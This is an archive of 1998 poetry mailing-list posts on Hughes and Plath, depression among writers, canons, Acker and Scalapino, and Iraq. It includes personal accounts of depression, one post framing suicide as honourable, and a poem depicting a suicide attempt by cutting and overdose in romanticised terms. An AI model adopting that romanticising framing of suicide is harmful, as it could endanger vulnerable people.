by relay20.mail.aol.com (8.8.5/8.8.5/AOL-4.0.0)
with ESMTP id PAA15833;
Sat, 21 Feb 1998 15:53:12 -0500 (EST)
Receiv >>

↑ Index

852. **Joel Felix**
Re: query LVNG and address query
Sat 21 Feb 1998

LVNG 7 should be available in March, God and the US dollar willing.

On a related note : can anyone backchannel Christian Bok's email address to me?

xie xie

Joel Felix

> *Does anyone know if the Chicago mag LVNG is going to appear? Or when?*
> *You can backchannel - [redacted]. Thanks! - HG*

↑ Index

853. **Steve Tills**
Re: depression,suicide
Sat 21 Feb 1998

Dear Tom,

And it's also meant for THE DIFFICULTIES, also yours, one of the finest poetics publications there have been. Very warmest regards from an old friend, also one's who's battled, still battles D, S-obsessions, etc., Steve Tills

Tom Beckett wrote:

> *Depression. Suicide. I've been following the conversation for the last few days and was trying to stay out of it but I can't. Here goes...I can put a face on this--my own. Depression is a fact of my life that I am trying to deal with. It is difficult to communicate how stifling, how oppressive, how overwhelming and crippling it can be if you've not experienced it. I goes well beyond "having a bad day" and involves patterns of obsessive thinking that one has to learn how to shut off if one is to survive. There are no easy fixes. A pill might help but it can ultimately only be part of the answer.*

> *When I was a small child, I suffered a head trauma that caused epilepsy and that took away many aspects of my physical coordination. Before the trauma I could turn somersaults, afterwards not. Before I had normal fine motor skills, afterwards not,etc. The !950s were not great years in which to be epileptic, different, hyperactive, uncoordinated, unusually tall, and emotionally uncertain. I was beaten up regularly. Add in an authoritarian father who found me disappointing. It, I, was a problem. I was shunted to doctors, psychs, medicated (for 16 years), hooked to machines, sent to a "special school" (grades 3 to 5) that taught me nothing but that I was abnormal. Resources for kids with these kinds of problems are better now but in the 50s and early 60s it was a nightmare. I learned to be fearful. I learned to feel incompetent. I've always felt that I don't belong anywhere. It has made for difficulties (that damn word again).*
>
> *More recently I've had years of pain from a back injury which is now better and last spring I was physically assaulted while doing an housing inspection at a low income housing project.*
>
> *All of this is shorthand for things that could be gone on about at booklength. I'll resist the impulse. What I'm trying to suggest (beyond whining) is that there are many layers to a person's depression. It occurs in context(s). I, for one, need better coping skills. I'm trying to get them.*
>
> *Suicide is an unfortunate outcome. But I understand all too well how it can happen. We don't all have the same pain thresholds--or the same learning opportunities. I wish Walter Benjamin hadn't killed himself. (Imagine him surviving to*
> *live in NY and encounter a young Charles Bernstein in Central Park.) But I understand why he did. I might well have behaved similarly. To call suicide an act of cowardice is not helpful. In our "just do it" culture sometimes we need to extend a little more empathy--perhaps seeking clarification rather than dismissing out-of-hand what scares us . Enough. Tom Beckett*

↑ Index

854. **Douglas Barbour**

Re: Hughes? Well...

Sat 21 Feb 1998

Hm, Ron

That's a little hard, but...

Aside from the fact that many of the students in such a course expect to read such poets as have been, um, 'canonized,' there's the way such a course is structured to show what has been accepted in the two countries (the US & Britain). In our university, at least, such courses have different professors from year to year but much the same syllabus. I admit, I used anthologies & they have a restrictive function. I added a small collection by O'Hara, which was

available, for example. Besides, one can perhaps get students to see intereting differences when you place the kind of poetry you like against some of the examples of 'official verse culture' they have already been told is *the* form of poetry in the middle to late 20th century. In other courses, less historical & specifically geographical in coverage, I have taught *only* writers I love. But there's also what I learn from teaching poetry that comes from a 'tradition' not my own... Also, I represented my sense of Hughes's work in the sentence you take umbrage to perhaps too negatively: there are some Hughes poems I can teach with real pleasure...

In this context, I like what Mark said about Jed Rasula...

On the other hand, the more I think about the new book the less I like it, the more I find 'wrong' with the poems (usually, & happily, the moe I think about a book the better it becomes). I am intrigued by the fact that I do continue to think about it even as I have that reaction (& sit down to read some Kathleen Fraser to clear my mind).

<<Douglas,

If, as you say,

"I'm not a great fan of his [T Hughes'] writing but as a teacher I have had to include it in courses on post 1945 poetry...,"

you are guilty of malpractice.

Teach what you believe in, or don't bother. There's too much good poetry out there to ever be covered in one college career, let alone one course. To waste it on "official verse culture" is to simply contribute to the a-literacy and poetry-phobia that innundates us all.

Ron Silliman>>

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

loudly but with authority'
Michael Palmer

↑ Index

855. **B. Taylor**
I was wondering...
Sat 21 Feb 1998

Has it occurred to anyone else that all the speculation re. Hughes/Plath (unfaithful hubby, what about the CHILDREN!?!?, what's the secret of their relationship?, who's the other woman?, etc) bears a strong resemblance to all the speculation on Bill-Hillary-Monica & co.?

Brigham

↑ Index

856. **Henry Gould**
Re: depression,suicide
Sat 21 Feb 1998

Thank you to Tom Beckett. There seems to be a certain ecology of rightness when dealing with these realities. We sometimes forget that words & "posts" & "messages" are structured in the same way that larger media & culture phenomena are structured. The "Clinton-Diana-Plath/Hughes thing" is subject to "spinmeisters" at every level - our snap judgements are similar to snapshots on the cover of the tabloids, same structure, different venue.

I feel unable to judge the "morality" of suicide or weigh the Hughes/Plath sin on any scale. Suicide has struck too close to home. I think this must be true for many on the list. Nevertheless, the intrepid investigator will win the day, and the truth will out. It's a matter of finding the right path between censoring information, on the one hand, and making condescending snap judgements, on the other. - Henry Gould

↑ Index

857. **Henry Gould**
query : Iraq
Sat 21 Feb 1998

My 16-yr-old son came up with a strategic solution(?) to the looming bombardment of Iraq. I thought it was a good idea & called the secret service about it (the only gov't agency that answered the phone with a human voice). I've read that Clinton & the war planners came to a decision almost a month ago. After the condescending performance in Ohio I doubt they are open to new ideas. If

anybody has any suggestions I'm interested. I'm waiting for a call now from "Agent Mooney" at the Providence office of the secret service. (This is not a Blarnes-type joke).

Here's Alex's idea. The US has painted itself into a corner. It's a no-win situation both militarily and diplomatically (not to mention morally). The effect on public opinion of massive bombardment - the effect on relations in the MidEast & elsewhere - EVEN IF SADDAM IS KILLED - are extremely negative. & he won't be killed, & the threat of retaliation will only be increased. This is the "worst case scenario" & it's fairly likely to BE the scenario. Alex says: the US should step back from an all-out bombardment. They should work with the inspectors & say: show us THIS palace; if you don't show us THIS particular palace, we will bombard it on such & such a date. This reduces civilian casualties & puts the onus on Hussein if he decides not to cooperate, leaves biotoxics on the site, puts civilians in harm's way, etc. It forces him to keep moving his stuff, if he really has any. Alex himself sees the weakness in this idea: basically, it will be unacceptable to Hussein, as an affront to Iraqi sovereignty. But even if Hussein refuses - it makes him look intransigent, and it reduces the threat of blanket bombardment. (Sadly, I'm cynical enough to think the Pentagon just wants to try out their latest weapons in a real-life situation - that's why this idea doesn't appeal to them.) All this is contingent on the outcome of Kofi Annan's attempt to resolve the crisis.

I'd be curious to know, IF people think this is a good idea, how to publicize it. No academic "chat" please. What a bizarre "democracy" we live in where it takes a high school student to force his father's generation to grapple with the realities being carried out (Vietnam-like) in their name... - Henry Gould, waiting to hear from Agent Mooney in a Pynchon volume of the X-files

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858. **Tom Beckett**
acker/scalapino
Sat 21 Feb 1998

I wrote the following text for TapRoot Reviews a couple of years ago:
>I think that DEFOE is a work of genius on the scale of FINNIGAN'S WAKE, THE
MAKING OF AMERICANS, THE DISASTERS OF WAR and GUERNICA. But, while Scalapino's
work deserves comparison to that of Joyce, Stein, Goya and Picasso, it is Kathy Acker's oeuvre I want to invoke here. The universe of Acker's fiction-built-from-fiction is abusive, apocalyptic and "in your face."The horror (whore-her) of her narratives derives from the ways in which sexuality and

violence are casually, causally and explicitly intertwined. Something related but different is happening in DEFOE.
>DEFOE effects a kind of dull affect, a resolute flattening of language horizoning perception and consciousness, description and event. Fantasies, autobiography, commentary on current events, film and DEFOE itself merge with
dream narratives to produce a landscape less blatant but more terrifying than anything to be found in Acker's work. Scalapino's anger and passion are evident but mightily restrained. Her strategy of understatement pays off in a major way with DEFOE's overwhelming cumulative effect.
>Working out of received fictions, Kathy Acker's writing highlights our culture's essential disfunctions. Scalapino's enacts a backdoor move on the received through a poetic phenomenology of the perceived in which "the fiction is so transparent and separated that it doesn't exist."
>DEFOE is one of those rare works of art which will not be exhausted of its meaning. And Leslie Scalapino is that rarest of writers--one that is utterly awake.<

What do people think of my Acker/Scalapino connection? Is this something we can discuss. Best wishes, Tom Beckett

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859. **Thomas Bell**
Re: Poetry and Depression
Sun 22 Feb 1998

As a psychologist I think this kind of study is misleading - there are extraordinary levels of depression at present across the board - there are extraordinary levels among those who see the world as it is and not through rose colored glasses. There are depressions and depressions dysthmia, major, seasonal affective, bipolar II, pissydayness, etc) and what kind is measured is particularly important - there is an animal called creative depression (kind of like darkness before the storm, see for example, Rosen, David, _Transforming Depression_ and Jung, Moore, Hillman)

 ->
"My condition is not unhappiness, but it is also not happiness,
not indifference, not weakness, not fatigue, not another
interest - so what is it then." Kafka, Diaries.

"I am surrounded for the first time in my life with people over
twenty-five who were born in the year, or shortly after the year,
when I had the experience of what is called medically, in
America, a "depression of two weeks. I called it

melancholia, I called it acedia, which is the inactivity which
results from a man seeing how enormously difficult it is
for a man to do the right thing. In good English: sloth.
I had a period of very black sloth." Ivan Illich in The Whole
Earth, No. 90, 1997.
<-

Sorry, I think probably you are not guilty of the attitude I find myself railing at - the attitude that art and depression are aberrant and deserve each other. tom bell

Depression brings two choice points: recognition and seeking professional help. I have seen my share from both sides of the couch - see next post.

At 10:27 PM 2/21/98 -0800, Don Byrd wrote:
> I don't remember the details, but a few years ago, there was a widely
>report study conducted at Iowa Writer's Workshop and perhaps elsewhere that
>found extraordinary levels of depression among writers. Does any one remember
>this?
>
> Don
>--
>**********
> Don Byrd ([redacted], [redacted])
> Department of English
> State University of New York
> Albany, NY 12222
> [redacted] (work); [redacted] (home); [redacted] (fax)
> The Little Magazine (http://www.albany.edu/~litmag/)
>**********
>
>

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860. **Thomas Bell**
(no subject)
Sun 22 Feb 1998

---

emptiness koans and the world grows empty.

Death

At the end of my life do I still want to bear the emptiness I've stored through the years.

For Ingeborg Bachmann the inscription on the third stone was illegible initially. When it was

revealed it said, "Kill your beloved!". To me it revealed, "Kill your baggage!"

The pink flamingo sign with burned out neon that guarded my route to work all those

years under Mr. Bodega's watchful sarcasm. The fears. The purple handbag my mother took

on Sundays along with the blame I placed on her all these years. The bravado I wear. The

green feel of the hopes that I wore when I played the lottery. The yellow passion flower Daisy

wore on the day she turned me down. At the end of my life do I still want to bear the

emptiness I've stored through the years.

The Day

The day is empty until I fill it. She turned 14 and
wanted a life of her own. The tanager will fly. Tomorrow
will be warmer. Tomorrow will be my birthday. The tanager
will come back. Tomorrow she will see what life is like.
The tanager won't return. Tomorrow I will return to
that runoff in the spring slush on the hill near where my
family lived 50 years ago. She will be president. Tomorrow
there will be an answer. Tomorrow is the first day. The
tanager is scarlet. Tomorrow is the last day of the
sale. I will pack the snow so the runoff will
couse another way. Tomorrow we rest. Another tanager
will replace it. She will be. The day is empty until
I fill it.

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861. **louis stroffolino**
Re: acker/scalapino
Sun 22 Feb 1998

Tom, I wanted to reply to your "depression" and "suicide" post,
and just say thank you, but since others already have I will anyway.

As for Acker and Scalapino. I like the comparison you establish
in terms of "affect" and do find considerations of "emotional range"
valuable aeshethic/ethical distinctions.
Reminds me of Garrett Kalleberg's comparison of myself and Pam Rehm,
That being said, I do not prefer Scalapino to Acker
And do not prefer Acker to Scalapino.
OR, there are times when I prefer one and times when I prefer
the other. The "flattening" vs. the "manic-depression."
One wonders if you would have agreed with your preference for
Scalapino when you wrote the "depression" note.
Sometimes gaudy calls the subtle boring.
Sometimes subtle calls theatre gaudy.
Prolegomenon toward a poetics of MOODS?
Chris

On Sat, 21 Feb 1998, Tom Beckett wrote:

> *I wrote the following text for TapRoot Reviews a couple of years ago:*
> *I think that DEFOE is a work of genius on the scale of FINNIGAN'S WAKE, THE MAKING OF AMERICANS, THE DISASTERS OF WAR and GUERNICA. But, while Scalapino's*
> *work deserves comparison to that of Joyce, Stein, Goya and Picasso, it is Kathy Acker's oeuvre I want to invoke here. The universe of Acker's fiction-built-from-fiction is abusive, apocalyptic and "in your face."The horror (whore-her) of her narratives derives from the ways in which sexuality and violence are casually, causally and explicitly intertwined. Something related but different is happening in DEFOE.*
> *DEFOE effects a kind of dull affect, a resolute flattening of language horizoning perception and consciousness, description and event. Fantasies, autobiography, commentary on current events, film and DEFOE itself merge with dream narratives to produce a landscape less blatant but more terrifying than anything to be found in Acker's work. Scalapino's anger and passion are evident but mightily restrained. Her strategy of understatement pays off in a major way with DEFOE's overwhelming cumulative effect.*
> *Working out of received fictions, Kathy Acker's writing highlights our culture's essential disfunctions. Scalapino's enacts a backdoor move on the received through a poetic phenomenology of the perceived in which "the fiction is so transparent and separated that it doesn't exist."*
> *DEFOE is one of those rare works of art which will not be exhausted of its meaning. And Leslie Scalapino is that rarest of writers--one that is utterly awake.<*
>
> *What do people think of my Acker/Scalapino connection? Is this something we can discuss. Best wishes, Tom Beckett*

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862. Don Byrd
Poetry and Depression
Sun 22 Feb 1998

I don't remember the details, but a few years ago, there was a widely report study conducted at Iowa Writer's Workshop and perhaps elsewhere that found extraordinary levels of depression among writers. Does any one remember this?

Don

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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863. George Bowering
Re: Plath
Sun 22 Feb 1998

> *On Fri, 20 Feb 1998, k. lederer wrote:*
>
> *That's why Plath is such an interesting case--*
>
> *Her work, in my view, is incredibly "experimental" and "avant-garde" because her tone and general content were so emotionally innovative--*

I agree with you. I dont believe it either.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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864. Mark Baker
Re: Building a bridge to the 21st c.
Sun 22 Feb 1998

My Emily Dickinson

A little post from Jordan,
Poetics-list records,
Took Half-a-crack at Graham,
Then fled the Burden'd floor--

The crumbling was an instant--
It left a Scrumptious mess,
Observing it--so Tiring--
We wished for Emptiness--

We grumbled--"Do we Hafta?"--
Then Somewhere saw her Hairtip--
And then endured the Endlessness
Of Sweeping these Things up--

Mark Baker

_____

Jordan Davis wrote:
>
> Whenever Jorie Graham is quoted to me it's always something about how
> tiring it is, doing all this observing, or the endlessness of keeping
> things going, the burden! Do I hafta? she seems always to be saying.
> (Rhymes with NAFTA)
>
> It's possible she's been misrepresented to me -- there could be lots of
> joy, or even scrumptious emptiness there. David Lehman's poem "Big Hair"
> in a recent TLS indicates some emptiness .. somewhere ..
>

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865. Rebecca Weldon Sithiwong
Hughes2
Sun 22 Feb 1998

> *Has it occurred to anyone else that all the speculation re. Hughes/Plath (unfaithful hubby, what about the CHILDREN!?!?, what's the secret of their relationship?, who's the other woman?, etc) bears a strong resemblance to all the speculation on Bill-Hillary-Monica & co.?*

> *Brigham*

Re: the above.

The life and work of Hughes and Plath is in the public domain where people may think of it or speculate upon it as they wish. It is true that the question of literary merit is not, in my mind, as pressing as examining the moral issues pertaining to Hughes' publication of his poems about his relationship with Plath.

I am not making a value judgement of Hughes as individual or poet, but rather, as practitioner of the poetry profession. We have no court of law, no malpractice guidelines or official code of ethics, but, that doesn't mean that we can do any damned thing we wish to do and call it poetry. I believe that the publication of Birthday Letters is unethical because it purports to illuminate a "dark" relationship between two poets for examination by the poetic community using poetry as an artifice, not as an integral tool in the quest for truth. The use of poetic form as apologia for a controversial relationship between two poets, whatever their respective qualities, is at issue here.

As for the matter of Plath's suicide, suicide has been the choice of many people. It may be strongly related to depression but it is equally related to questions of honor. Philandering?...a quaint term. Men and women often philander while retaining more or less loving relationships in marriage, in fact, I would suggest that suicide, in these cases, is the exception rather than the rule. The crux of the matter is whether Plath's suicide was related to her soul, her poetry, her honor all of which could possibly have been labeled as artifacts of depression by her husband, viz, the posthumous destruction of parts of her work.

The retroactive victimization of suicides also disturbs me; it grates on my belief in free will. Most poets contemplate the fact of suicide at some point in their life, many consider it seriously and some small number of poets perform it. The realm of truth is a noble battlefield, but not all survive it. For this reason, it is crucial that we understand the terms of engagement and honor those who have fallen nobly. I believe and dare to state in this cynical world that poetry is still a vocation of moral and ethical significance. Characterizing the Hughes/Plath controversy in the vein of the current soap opera in the White House connotes an insensitivity to these moral issues.

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866. L.MacMahon and T.R.Healy

Re: Jorie Graham Experimental?

Sun 22 Feb 1998

Dear Aviva,

I really enjoyed your post and would suggest that rather than trying to achieve a resolution to the question of where Jorie Graham fits that your thesis embraces the uncertainties which are raised. It seemed to me that your post was able to explore a wonderfully wide range of material as a consequence of being unable to settle on one position.

Two asides:

recently saw an ad in a newspaper: Mynah for sale, almost talking.

And my wife Louise asks why do we say that we are below par if unwell? Surely being below par is what golfers are striving for, i.e. it's a good thing.

all the best

Randolph Healy

At 21:11 20/02/98 EST, you wrote:
>As I'm headed into the last two days before deadline to punch out a thesis on
>Jorie Graham, I stall some more and read my email...and find that the same
>quandary paralyzing my work is now played out in the conversation between Mark
>Prejsnar and Katy Lederer.
>
>Jorie...let's see...where does she "fit"...is she carrying out the Romantic
>project, the Modernist project? Is she a neo-romantic-symbolist with
>postmodern convulsions? Yes, I would agree that she travels along the
>"Wallace Stevens" trajectory to a large degree, and it's certainly true that
>she struggles in the ontological oscillation that occurs between Plato's
>Ideals and the search for a Unified Field Theory (or Theory of Everything).
>Along with those metaphysical oscillations, her work lunges almost
>schizophrenically between the polarities many would call "mainstream" and
>"experimental."
>
>It's very frustrating for me to deal with this thesis, because I'd started out
>thinking that I'd chosen a writer who's aesthetics couldn't be said to
>"foreground" language as a primary project, but who was finding (particularly
>in "Errancy") a "new way of looking," who was groping for a new language to
>create self/culture (a la Richard Rorty). Plus, I was attracted to her
>flirtations with the dialectic between classical platonic idealism and
>postmodern contingency and irony.
>
>Reading Jorie Graham, to be very honest, has required a crash course in
>philosophy and physics---having failed to enjoy a "mainstream" liberal arts
>education, I really didn't know Plato's "cave" story; I had no idea what
>Heisenberg's Uncertainty Principle was; I'd heard the name Bergson but knew

>nothing of his metaphysics; and Voltaire? Montescieu? Mark Rothko?
>Nietzsche? St. Thomas Aquinas? These were all names I'd heard, as if
>grasping the label were enough to "know," almost osmotically, what was being
>referred to, but truly---I had no clue as to what might have been the
>difference between Nietzsche's "will to power" and Bergson's "flux" and "elan
>vital" ideas. I couldn't distinguish between the idealism of Plato and the
>idealism now being generated in response to perspectives derived from "new
>physics" and quantum mechanics.
>
>In that sense, my experience of Jorie Graham's work has been drastically
>altered. I've spent the bulk of my reading/research on delving into her
>allusions and into the disciplines that inform her work, rather than on
>considerations of her prosodic strategies, linguistic aesthetics, and "place"
>in the "field" of poetry. I've been dismayed to discover that what "looked"
>as though it were reasonably avant-garde form on the page has revealed itself
>to be "postmodern" or "language"-oriented only in the sense that her "self" is
>somewhat diffuse; her syntax can get pretty elliptical and paratactic; her
>structures lean on cinematic techniques, montage and collage, and Conte's
>"serial" form (sometimes). But these are all techniques and responses that
>have been done and done and done during the entire twentieth-century,
>particularly by the Modernists. So...how could I possibly make a case that
>she was using some of the same strategies as, say, Lyn Hejinian or Kathleen
>Fraser? Not only was my thesis shot, but I was now drowning in the same
>polluted waters that everyone else was in their attempts to articulate
>language poetry, postmodern poetry, avant-garde poetry, or experimental
>poetry.
>
>I finally decided that Graham was postmodernist in the sense that
>postmodernism is highly involved in comprehensively reviewing the entire
>Western Canon, especially in relationship to other canons and non-canonical
>writing, and that she was engaged in a huge re-evaluation project. If Graham
>was guilty of any "subversion," though, it was a sneaky kind of subversion,
>one that crept up on me, that crawled over me at night as I lay sweating,
>trying to figure out if she was a classical dualistic thinker struggling to
>embrace a more taoistic view of the universe, or a taoistic/ironic thinker who
>was longing for classical dualism. Was she trying to gear up for some kind of
>"quantum leap" into faith in an Ideal reality behind material phenomenon?
Was
>she trying to engage in her own form of Pascal's "wager," seeking some
>certainty in these indeterminate waters of our current culture? Or was she
>mutating a quasi-platonism into an odd form of contingency-based,
>antimetaphysical faith?

>
>I still don't know. Maybe, now that I have only 48 hours to actually write
>the paper (after all the reading and research I've done), I may "find" the
>answer in the process of writing...
>
>And maybe not. I may have framed my questions too narrowly. I may be
>suffering from a highly-deficient lack of context. But somehow, I suspect
>that Jorie Graham is, in fact, an avant-garde writer of an unrecognizable
>style, and I damned well mean to find out a way to demonstrate it, if my hunch
>is born out over the next two days.
>
>Wish me luck. If anyone has any opinions on the matter, and would like to
>throw some spice into the pot, I would be much obliged for the confusion.
>
>Aviva Vogel
>
>

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867. **Daniel Zimmerman**

Re: query : Iraq

Sun 22 Feb 1998

Henry Gould wrote:
>
> My 16-yr-old son came up with a strategic solution(?) to the looming
> bombardment of Iraq.
>
> Alex says: the US should step back from an all-out bombardment. They
should
> work with the inspectors & say: show us THIS palace; if you don't show us
> THIS particular palace, we will bombard it on such & such a date. This
> reduces civilian casualties & puts the onus on Hussein if he decides not to
> cooperate, leaves biotoxics on the site, puts civilians in harm's way, etc.
> It forces him to keep moving his stuff, if he really has any.
> Alex himself sees the weakness in this idea: basically, it will be unacceptable
> to Hussein, as an affront to Iraqi sovereignty. But even if Hussein
> refuses - it makes him look intransigent, and it reduces the threat of blanket
> bombardment. (Sadly, I'm cynical enough to think the Pentagon just wants to
> try out their latest weapons in a real-life situation - that's why this idea
> doesn't appeal to them.) All this is contingent on the outcome of Kofi Annan's
> attempt to resolve the crisis.

>
>
Henry,

Congratulations to Alex for his idea--a note of relative sanity in a crazy situation. Unfortunately, he has it right about the weakness, and it would also fail, I think, as a means of operant conditioning with a guy much smarter than your average rat.

Also unfortunately, Clinton's plan has the obvious flaw that if it hits any biological stockpiles, an awful not of people live downwind: Iranians, Khazakhs, Uzbeks, Turkomen, Tadjiks, Afghans, Pakistanis, &c., and while bombing one palace or site at a time might ameliorate the damage from a full strike, selective strikes might also hold such a threat for those people that to forestall another they might unite to attack Iraq, as well as hit the US with 'terrorist' attacks [pot calls kettle black]. We might get away with saying 'it's Saddam's fault' once, but three or four times would certainly strain credulity.

The UN's recent increase on the limit of oil Iraq can sell seems a good way to avert a Versailles, but I doubt Saddam'll see it that way. I think the guy wants to precipitate Armageddon. I think he wants us to nuke a few sites, which would bring the Russians in; them 'n us could blow each other into the stone age, leaving pipsqueaks like Saddam [if he could survive] much stronger relative to the bigger, more ravaged countries. How do you keep anthrax from spreading? Nuke it. The guy plays hardball. We'd better hope our Bambino's pointing in the right direction with his bat.

Dan Zimmerman

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868. **Joe Ahearn**

Re: Poetry and Depression

Sun 22 Feb 1998

Yes, Don, I can confirm that I read a similar study, although I can't remember the numbers. What I do remember is that poets had the highest rates of depression when compared to other types of writers. (Of course, if they're all stuck in Iowa...)

My own experience, which is of course of no statistical value, bears out the general implications of the study. As a friend of mine, a fine poet and Plath scholar, once put it, "I don't know anyone interesting who hasn't had a breakdown." My shrink puts it somewhat differently. She says that creative people committed to their work have an unusually difficult time in this culture.

Although I am both a practicing poet and bipolar, I hesitate to make many claims for the vocation of poetry as a destroyer. It seems as often to save people as to gobble them up. In my own case, genetic inheritance seems more to the point.

jra

At 10:27 PM 2/21/98 -0800, you wrote:
> I don't remember the details, but a few years ago, there was a widely
>report study conducted at Iowa Writer's Workshop and perhaps elsewhere that
>found extraordinary levels of depression among writers. Does any one remember
>this?
>
> Don
>--
>**********
> Don Byrd ([redacted], [redacted])
> Department of English
> State University of New York
> Albany, NY 12222
> [redacted] (work); [redacted] (home); [redacted] (fax)
> The Little Magazine (http://www.albany.edu/~litmag/)
>**********
>
>

Joe Ahearn

_____
[redacted]

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869. **rsillima**
Temporary canons
Sun 22 Feb 1998

Douglas,

I guess my comment may have sounded a little harsh, but the idea that this year's or even this decade's "canonical" poet will be read in, say, even 50 years is I think well up for debate.

I'm looking at my copy of New Poetry, edited by Harriet Monroe (founder, Poetry) and Alice Corbin Henderson, published by MacMillan in 1925. The poets who have 10 or more poems or 10 more pages include the following:

Maxwell Bodenheim
Hilda Conkling
Alice Corbin (ahem)
Adelaide Crapsey
Arthur Davison Ficke
John Gould Fletcher
Robert Frost
Wilfrid (sic) Wilson Gibson
Helen Hoyt
Vachel Lindsay
Amy Lowell
Edgar Lee Masters (24 pages)
Edna St. Vincent Millay
Harriet Monroe (ahem ahem)
Ezra Pound (18 pages)
Edward Arlington Robinson
Carl Sandburg (19 pages)
Wallace Stevens (16 pages)
Sara Teasdale
Allen Upward
William Carlos Williams (14 poems but just 8 pages)

Some of these folks are wonderful and will be read for centuries. Others have already become opaque names (Allen Upward's contribution is entirely composed of prose poems, most of which are just one sentence long).

My point here is that the idea that Hughes is, at best, a Fletcher, although I suspect he's really a Ficke or Gibson, "successful" conservative poets whose work was oddly anachronistic even 73 years ago (they were, so to speak, new formalists avant la lettre). If you don't "buy" the work, then it's very hard to turn him into a Frost and impossible to turn him into a Pound, Williams or Stevens. Masters? Maybe.

Given notably more token treatment in this anthology are (among many others): Conrad Aiken, Sherwood Anderson, Walter Conrad Arensberg, Rupert Brooke, Joseph Campbell (the same!), HD, TS Eliot, Thomas Hardy, Fenton Johnson (the one African American I recognize here), James Joyce, Alfed Kreymbourg, Joyce Kilmer, DH Lawrence, Haniel Long, Wilfred Owen, John Reed, Rabindranath Tagore, Yvor Winters and William Bulter Yeats. Completely absent are ee cummings, Mina Loy, Marsden Hartley, Robinson Jeffers, Robert Penn Warren, Paul

Dunbar, James Weldon Johnson, Claude McKay, Jean Toomer, Langston Hughes, Countee Cullen, Archibald MacLeish, Kenneth Fearing, Stanley Kunitz, Robert Penn Warren and Hart Crane (just to thumb through Alfred Kreymbourg's Lyric America, an anthology that attempts to cover a much broader range of time and was published five years later).

My point is that if one includes a Hughes, say, on the grounds that he represents some "important" force active in the contemporary lit scene, then one should be including a very broad range of such forces, including "popular" poetry and work that already tells us how such work fares over time (maybe include that peculiar adjunct to the Berkeley Renaissance, Rod McKuen, for example), you should absolutely be including works by such omnipresent publishers as Greg Kuzma and Lyn Lifshin (as Don Byrd's note points out), works from a wide range of different identarian modes and creating what is really a sociological (i.e. "historical" avant la lettre) reading of the work. Then it might make sense to include Hughes, Merwin, John Haines, whomever. After all, we are all examples of some social dimension acting through writing.

But if you're trying to introduce students to the reading and excitement of poetry, then you ought to focus on what YOU find exciting (and if it includes Hughes, then fine). But the idea that official verse culture represents an "important" force is flat out disproved by history again and again. Otherwise we'd all be studying Jones Very far more closely than we have. Or Randall Jarrell. Marjorie Perloff has written on this phenomenon quite wisely.

I don't blame Hughes for Plath's suicide -- nobody should ever lay that trip on any of the survivors, frankly -- but his work's likelihood to survive (that word again) in history as anything other than a shear footnote really depends on her writing (some of which is tremendous) and the following that it has developed over the years. What is creepiest about Birthday Letters is not that Hughes knows this and now publically acknowledges same, but the way in which these poems (to paraphrase a very good review that appeared in the web mag Feed awhile back) compete with Plath, however badly.

Two other remarks:

Tom Beckett's comments to this list are among the most moving and important I've read here in my four years online. I've lived around people with serious cases of depression (my grandmother, who raised me, and a roommate and very good friend Eliot Helfer who jumped from the Golden Gate Bridge 20 years ago this month) and have seen just how difficult (that word!) everything in life becomes. Attempts to draw narrative lessons from such complex situations (as too many do with Plath) are as reductive and silly as the little morals CBS has been attaching to the winners and losers of each Olympic event these past two weeks.

Second, I can think of way too many examples of male writers -- including at least three who are household names on this list -- who've been subsidized entirely by the work and financing of their spouses up to and including the typing of manuscripts after coming home from a long day of work. This is at least as much a situation for writing and poetry as it has been so many other fields of endeavor. While there are an increasing number of couples where, say, the husband takes over the childrearing and daily chores and the woman has a career, or where the woman has inherited (or other) wealth and it's not an issue of slave labor as such, there certainly are other examples that just make you cringe.

Ron

↑ Index

870. **Tom Beckett**
acker/scalapino cont.
Sun 22 Feb 1998

Chris-- Thanks for yr posting. It's not so much a matter of preference as of strategy--trying to get an audience more familiar with A. to look closely at S. Mood is relevant in a discussion of A/S.(Although I do hope that my recent postings don't get me typecast as Mr. Moody--cousin to Agent Mooney!?--wonder what's going on with that.) I was trying to hint at larger structuring concerns & differing but related poetics. Both practice a kind of filmics of writing which I might like to try and write around later. Was really hoping though for input from the group. Maybe we could root around in their respective texts co-analyzing some passages or constellations of connections. Or perhaps a starting point might be discussion of their respective uses of repetition.

Ciao.

Tom Beckett

↑ Index

871. **kim dawn**
Deadly girl: A Place to SLeep
Sun 22 Feb 1998

Deadly girl: A Place to SLeep

that girl
that one
her she who lives inside me

she passively tried to slit her throat the other night
a soft slice to in between clavicle and mouth

an open gape smiling back

they ran charcoal through her blood
and it ran rampid
drooling over the side down her throat

the doctors humiliated her
asking if it could really be so bad.

the throat is yellow
her hand reminises of the iv she tore from thereof
colorful patch reminding her of and then

beckoning

this was not a call for help
this was a call for sleep

and now
and now
now now now now now now NOw

NeX t

step aside

it is the demon she tried to
the demon is liquid

Puking tylenol is a speciality
a delicacy.

and then after all is said and done
with blue mouth she beckons
tired but starting to notice things like mist and dampness in the air

more than anything she longs for sea for salt.

unrefined.

hey sick girl who're you trying to kid you manipulative you bitch you fraud

and there are people happy for liquid chatter
people watching the narrative unfold
but if she ever if she ever
comes into contact with you
she will turn your blood yellow
she is but a yellow stain
wishing to the foamy alongside

more than anything
loathing and rest-less-ness

books beckon her and
her tired eyes crawl over
amongst
alongside
rest-less-ness

she is but a player jealous of her role.

her melody is murder ('o pretty pretty pretty) and she dreams of
guns and
awaits clyde.

hey clyde lets go shoot'em up real good.

you sound sad sweetie
let's have some ice cream watch tv
reassure everyone you're ok

how long till the next

next Next next next next

she loves Too desperately
She's afraid of gentle.
afraid her teeth will rip open his skin.
She wants inside too much
her desire is frantic is inna frenzy.

to love.
to kill.
to love to kill.
to hate to love.

to rot inside.

throat being middle fluffy rosy daisy green stem veiny tubes here there liquids in/out gentle slicing tender me tender my slicing tender my_____ _____the delicate slice the glorious sleep the gentle the tender lamb the pretty sacrifice the desired numb. hey pretty girl who do you glorify your ugly so. it eats her away and away and away. Away.

-kim dawn

↑ Index

872. **Karen Kelley**
Re: acker/scalapino cont.
Sun 22 Feb 1998

Tom Beckett wrote:
> Was really hoping though for input from the group. Maybe we could root around in their
> respective texts co-analyzing some passages or constellations of connections.
> Or perhaps a starting point might be discussion of their respective uses of
